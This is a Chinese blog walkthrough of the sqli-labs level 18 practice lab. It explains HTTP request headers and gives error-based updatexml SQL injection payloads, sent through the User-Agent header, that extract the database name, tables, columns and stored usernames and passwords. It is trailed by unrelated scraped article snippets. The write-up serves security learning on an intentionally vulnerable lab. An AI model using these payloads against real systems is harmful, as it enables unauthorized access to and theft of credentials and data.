sqli-labs关卡18(基于http头部报错盲注)通关思路
文章目录
- 前言
- 一、靶场通关需要了解的知识点
- 1、什么是http请求头
- 2、为什么http头部可以进行注入
- 二、靶场第十八关通关思路
- 1、判断注入点
- 2、爆数据库名
- 3、爆数据库表
- 4、爆数据库列
- 5、爆数据库关键信息
- 总结
前言
此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
一、靶场通关需要了解的知识点
- 1、什么是http请求头
- 2、为什么http头部可以进行注入
1、什么是http请求头
这里我只演示sql注入常见的请求头内容。
- 1、user-agent
User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。
浏览器通常使用的格式为:
User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>
这里我在微博进行演示user-agent的作用(无恶意,仅演示)
这里我先用kali系统在火狐浏览器中微博搜索1(如图所示)
然后抓包更改user-agent内容,改为手机端。这里我改为oppo手机访问网站的user-agent。因为user-agent是用来识别用户的身份的,如果你是pc端,那么服务器接收到你的user-agent发现你是pc端的linux系统,它就会响应一个pc电脑访问微博的界面。那么如果服务器接收的是我更改的手机user-agent的话,它就会自动识别我是手机端登录,然后响应一个手机访问微博的页面。
Mozilla/5.0 (Linux; Android 7.1.1; OPPO R11st Build/NMF26X; wv)
AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83
Mobile Safari/537.36 T7/11.15 baiduboxapp/11.15.5.10 (Baidu; P1 7.1.1)
这是我更改的oppo手机user-agent.
更改流程如下,图一是linux系统pc端的user-agent,图二是我们改为oppo的user-agent。
然后发包看结果对比一下。
发现我pc端访问的微博界面变成了oppo手机端访问微博的界面。这就是user-agent的作用。通过识别用户身份,响应合适的web界面。
- 2、referer字段
Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer
请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。
就比如你从csdn访问外链接跳转,此时referer字段指向的url地址就是csdn的地址。
- 3、cookie
Cookie 是一个 HTTP 请求标头,其中含有先前由服务器通过 Set-Cookie 标头投放或通过 JavaScript 的
Document.cookie 方法设置,然后存储到客户端的 HTTP cookie 。
- 4、X-Forwarded-For
X-Forwarded-For(XFF)请求标头是一个事实上的用于标识通过代理服务器连接到 web 服务器的客户端的原始 IP 地址的标头。
当客户端直接连接到服务器时,其 IP
地址被发送给服务器(并且经常被记录在服务器的访问日志中)。但是如果客户端通过正向或反向代理服务器进行连接,服务器就只能看到最后一个代理服务器的
IP 地址,这个 IP
通常没什么用。如果最后一个代理服务器是与服务器安装在同一台主机上的负载均衡服务器,则更是如此。X-Forwarded-For
的出现,就是为了向服务器提供更有用的客户端 IP 地址。
2、为什么http头部可以进行注入
由于大部分网站为了记录用户的http请求头部内容,来更好的识别用户的身份信息,会将其带入数据库处理。我们知道任何与数据库交互的地方都是有可能会有sql注入漏洞的。如果管理员没有对http头部内容进行验证和过滤,导致攻击者可以任意篡改http头部信息拼接到数据库恶意获取敏感内容。
二、靶场第十八关通关思路
- 1、判断注入点
- 2、爆数据库名
- 3、爆数据库表
- 4、爆数据库列
- 5、爆数据库关键信息
1、判断注入点
首先打开第十八关,发现页面多了一个记录ip的信息。假如我们现在不知道是http头部注入,我们尝试在登录框进行sql注入,发现无论如何都是注入不成功的。这个时候我们就要换思路了,因为看到这里有记录ip信息,IP信息的记录像是和http请求头的X-Forwarded-For有关系。那么我们就要想到能不能在http请求头进行注入。
这里为了方便理解我们就看源码了
发现到有两个参数
网上搜发现是用来获取用户信息的user-agent值和ip值。我们发现这就是请求头的内容。继续往下看,发现user-agent值被带入到数据库中。而且没有被过滤。
(如图所示)我们也发现uname和passwd被过滤了,这里源码写了一个check_input的功能函数,将uname和passwd的特殊字符进行转义,我们也去网上搜了mysql_real_escape_string () 函数的作用,所以得知刚刚我们无脑在登录框注入不成功的原因是有这个转义函数在干扰。如果懂一点sql注入代码审计的大佬应该一眼就看出这是一个典型的防sql注入的代码。
但是我们刚刚发现源码并没有将user-agent值调用check_input函数进行过滤sql注入。那么我们可以从这里构造payload。
我们仔细看user-agent值被拼接到数据库的代码。
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
我们是要在uagent进行构造pyaload的,所以就得看这句代码进行构造payload
这里构造为' ,1,1)#
发现构造payload成功,但是有的人可能要质疑了,你这是知道源码才能轻松构造出来payload的,那实战大都是没有源码的呀,那咋构造?
很好,这里我假装不知道源码是什么。我们首先和之前思路一样,先试一试and 1=1 和and 1=2,发现页面都正常,说明排除数字型。
然后我们再直接在user-agent后面加上单引号,发现报错了。
报错语句为
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘xxx.xxx.xxx.xxx’, ‘admin’)’ at line 1
从报错看出肯定是有关单引号闭合,凭空想象应该原始语句是这样的
('$uagent', '$IP', $uname)
从报错内容发现不光光是单引号闭合的问题。发现user-agent加单引号后报错是缺少了 ‘xxx.xxx.xxx.xxx’, ‘admin’)'这个东西。也就是说你刚刚是这样注入的才导致报错。
('$uagent'', '$IP', $uname)
我们如果单单像之前注入一样闭合掉单引号的话就会变成这样
('$uagent'#', '$IP', $uname)
这样的话后面的两个参数就不见了,也会报错。所以我们得构造出这样
('$uagent',1,1)#', '$IP', $uname)
在payload多写两个参数,构造出和原始语句一模一样的语句
payload构造出来了,因为它有报错回显,但是不回显内容。所以用报错盲注。
2、爆数据库名
注入语句为
1' and updatexml(1,concat(0x3a,(select database()),0x3a),1),1,1)#
3、爆数据库表
注入语句为
1' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1),1,1)#
得到关键数据库表名users
4、爆数据库列
注入语句为
1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1),1,1)#
1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1),1,1)#
得到关键数据库列username,password
5、爆数据库关键信息
注入语句为
1' and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1),1,1)#
1' and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1),1,1)#
得到账号密码
总结
这一关是利用http头部的user-agent值进行sql注入,由于这一关账号密码被sql防注入过滤了,但是没有对user-agent值进行过滤,所以导致可以在user-agent进行注入。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!
相关文章:

sqli-labs关卡18(基于http头部报错盲注)通关思路
文章目录 前言一、靶场通关需要了解的知识点1、什么是http请求头2、为什么http头部可以进行注入 二、靶场第十八关通关思路1、判断注入点2、爆数据库名3、爆数据库表4、爆数据库列5、爆数据库关键信息 总结 前言 此文章只用于学习和反思巩固sql注入知识,禁止用于做…...
uni-app顶部导航栏背景色如何设置,微信小程序返回键设置
百度经验 https://jingyan.baidu.com/article/67508eb48c5c37dcca1ce499.html 这样设置微信小程序没有返回键 {"path": "pages/index/index","style": {"navigationBarTitleText": "首页","app-plus": {"ti…...
基于多种设计模式重构代码(工厂、模板、策略)
基于多种设计模式重构代码 现状 系统目前支持三种业务流程,业务A, 业务B,业务C,每个流程有相同的业务逻辑,也包含很多的特性化业务。由于之前业务流程的开发是快速迭代的,而且迭代了很多次,开发…...

boomYouth
上一周实在是过得太颓废了,我感觉还是要把自己的规划做好一下: 周计划 这周截至周四,我可以用vue简单的画完登陆注册的界面并且弄一点预处理: 周一 的话可以把这些都学一下: 父传子,子传父:…...
关于这个“这是B站目前讲的最好的【Transformer实战】教程!“视频的目前可以运行的源代码GPU版本
课程链接如下: 2.1认识Transformer架构-part1_哔哩哔哩_bilibili 因为网上可以找到源代码,但是呢,代码似乎有点小错误,我自己改正后,放到了GPU上运行, 代码如下: # 来自https://www.bilibil…...

STM32定时器输入捕获测量高电平时间
STM32定时器输入捕获测量高电平时间 输入捕获测量高电平时间CuebMX配置代码部分 本篇内容要求读者对STM32通用定时器有一点理解,如有不解,请看 夜深人静学32系列15——通用定时器 输入捕获 输入捕获是STM32通用定时器的一种功能,可以捕获特定…...

开源WIFI继电器之硬件电路
一、原理图 源文件 二、原理图说明 1、器件说明 U4:ESP8285模块 U6:触发器 U3:继电器 2、继电器状态检测说明 检测继电器线圈是否通电来判断继电器是否导通,当Q1不导通时,Q1集电极的电压为3.3V,经…...
远程执行ssh脚本
sshpass -p 123456 ssh root10.1.10.18 "/root/start.sh"sshpass: 这是一个工具,用于提供密码给 ssh 命令,以便无需手动输入密码就能通过 SSH 连接到远程服务器。 -p ‘123456’: 这是 sshpass 命令的选项,指定了连接时使用的密码…...

excel导入 Easy Excel
依旧是框架感觉有东西,但是确实是模拟不出来,各种零零散散的件太多了 controller层 ApiOperation(value "导入Excel", notes "导入Excel", httpMethod "POST", response ExcelResponseDTO.class)ApiImplicitParams({…...

html实现图片裁剪处理(附源码)
文章目录 1.设计来源1.1 主界面1.2 裁剪界面 2.效果和源码2.1 动态效果2.2 源代码 源码下载 作者:xcLeigh 文章地址:https://blog.csdn.net/weixin_43151418/article/details/134455169 html实现图片裁剪处理(附源码),支持图片放大缩小&#…...
前端语言报错
1. 语法错误(Syntax Errors) 这是由于代码不符合语法规则而引起的错误,通常在代码编译阶段发生。示例: javascriptCopy code if (x 10 { // 缺少了右括号 // 代码逻辑 } 2. 类型错误(Type Errors) 这…...
详细讲解什么是观察者模式
观察者模式(Observer Pattern)是一种行为设计模式,它定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象,当主题对象状态发生变化时,所有依赖于它的观察者都会得到通知并自动更新。 该模…...

镭速,克服UDP传输缺点的百倍提速传输软件工具
在网络传输中,我们经常会面临这样的困难:文件太大,传输速度太慢,浪费时间和流量;文件太小,传输速度太快,容易出现丢包和乱序,损害数据的完整性和正确性。这些困难的根本在于传输层协…...

Semi-Supervised Multi-Modal Learning with Balanced Spectral Decomposition
Y是所有模态的表征矩阵, ∑ i 1 d h ( λ i ) \sum_{i1}^dh(\lambda_i) ∑i1dh(λi) is the proposed eigenvalue-based objective function,the final similarity matrix W for the multimodal data as a block matrix 辅助信息 作者未提供代码...
3296:【例50.2】 计算书费《信息学奥赛一本通编程启蒙(C++版)》
3296:【例50.2】 计算书费《信息学奥赛一本通编程启蒙(C版)》 【题目描述】 下面是一个图书的单价表: 1、计算概论 28.9 元/本 2、数据结构与算法 32.7 元/本 3、数字逻辑 45.6 元/本 4、C程序设计教程 78 元/本 5、人工智能…...

统一身份认证平台之SSO建设
前言 上篇说道Passwordless无密码技术,也提到了数字时代密码管理的难度,其实在日常的生活中,很多用户也会因为忘记某些网站的登录密码而烦恼。为了方便记忆,很多人都在不同的站点使用相同的用户名和密码,虽然也可以减少…...
【开题报告】基于SpringBoot的膳食营养健康网站的设计与实现
1.选题背景与意义 基于SpringBoot的膳食营养健康网站的设计与实现是一个具有重要意义的选题。背景和意义主要包括以下几点: (1)社会健康意识的提升:随着人们健康意识的提高,越来越多的人开始关注自己的饮食营养问题。…...
超五类网线和六类网线的相同点和区别
本文对超五类网线和六类网线的相同点和区别进行了简单介绍,帮助大家区分和建立相应的概念。 相同点: (1)都是网络跳线,用于连接网络设备。 (2)网线内部由8根不同颜色的线组成。 区别…...

Linux--初识和基本的指令(1)
目录 前言 0.什么是操作系统 0.1 搭建 Linux 环境 0.2搭建 Linux 环境小结 1.使用 XShell 远程登录 Linux 1.1关于 Linux 桌面 1.2下载安装 XShell 1.3查看 Linux 主机 ip 1.4XShell 下的复制粘贴 2.Linux下基本指令 2.1 pwd命令 2.2 ls命令 2.3 mkdir指令 2.4 cd…...

万宾科技智能井盖传感器,提升市政井盖健康
市政井盖就是城市里不可或缺的基础设施之一,关于它的监测工作可马虎不得。它承载着保护市民的交通安全以及城市正常运转的重要使命。虽然现在城市化的速度很快,但是传统的市政井盖管理方式变得有些力不从心了。井盖的覆盖范围很广,如果单单依…...

【Axure高保真原型】引导弹窗
今天和大家中分享引导弹窗的原型模板,载入页面后,会显示引导弹窗,适用于引导用户使用页面,点击完成后,会显示下一个引导弹窗,直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?
编辑:陈萍萍的公主一点人工一点智能 未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战,在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…...
Cursor实现用excel数据填充word模版的方法
cursor主页:https://www.cursor.com/ 任务目标:把excel格式的数据里的单元格,按照某一个固定模版填充到word中 文章目录 注意事项逐步生成程序1. 确定格式2. 调试程序 注意事项 直接给一个excel文件和最终呈现的word文件的示例,…...

springboot 百货中心供应链管理系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,百货中心供应链管理系统被用户普遍使用,为方…...
椭圆曲线密码学(ECC)
一、ECC算法概述 椭圆曲线密码学(Elliptic Curve Cryptography)是基于椭圆曲线数学理论的公钥密码系统,由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA,ECC在相同安全强度下密钥更短(256位ECC ≈ 3072位RSA…...
测试markdown--肇兴
day1: 1、去程:7:04 --11:32高铁 高铁右转上售票大厅2楼,穿过候车厅下一楼,上大巴车 ¥10/人 **2、到达:**12点多到达寨子,买门票,美团/抖音:¥78人 3、中饭&a…...

如何将联系人从 iPhone 转移到 Android
从 iPhone 换到 Android 手机时,你可能需要保留重要的数据,例如通讯录。好在,将通讯录从 iPhone 转移到 Android 手机非常简单,你可以从本文中学习 6 种可靠的方法,确保随时保持连接,不错过任何信息。 第 1…...
scikit-learn机器学习
# 同时添加如下代码, 这样每次环境(kernel)启动的时候只要运行下方代码即可: # Also add the following code, # so that every time the environment (kernel) starts, # just run the following code: import sys sys.path.append(/home/aistudio/external-libraries)机…...

基于Springboot+Vue的办公管理系统
角色: 管理员、员工 技术: 后端: SpringBoot, Vue2, MySQL, Mybatis-Plus 前端: Vue2, Element-UI, Axios, Echarts, Vue-Router 核心功能: 该办公管理系统是一个综合性的企业内部管理平台,旨在提升企业运营效率和员工管理水…...

毫米波雷达基础理论(3D+4D)
3D、4D毫米波雷达基础知识及厂商选型 PreView : https://mp.weixin.qq.com/s/bQkju4r6med7I3TBGJI_bQ 1. FMCW毫米波雷达基础知识 主要参考博文: 一文入门汽车毫米波雷达基本原理 :https://mp.weixin.qq.com/s/_EN7A5lKcz2Eh8dLnjE19w 毫米波雷达基础…...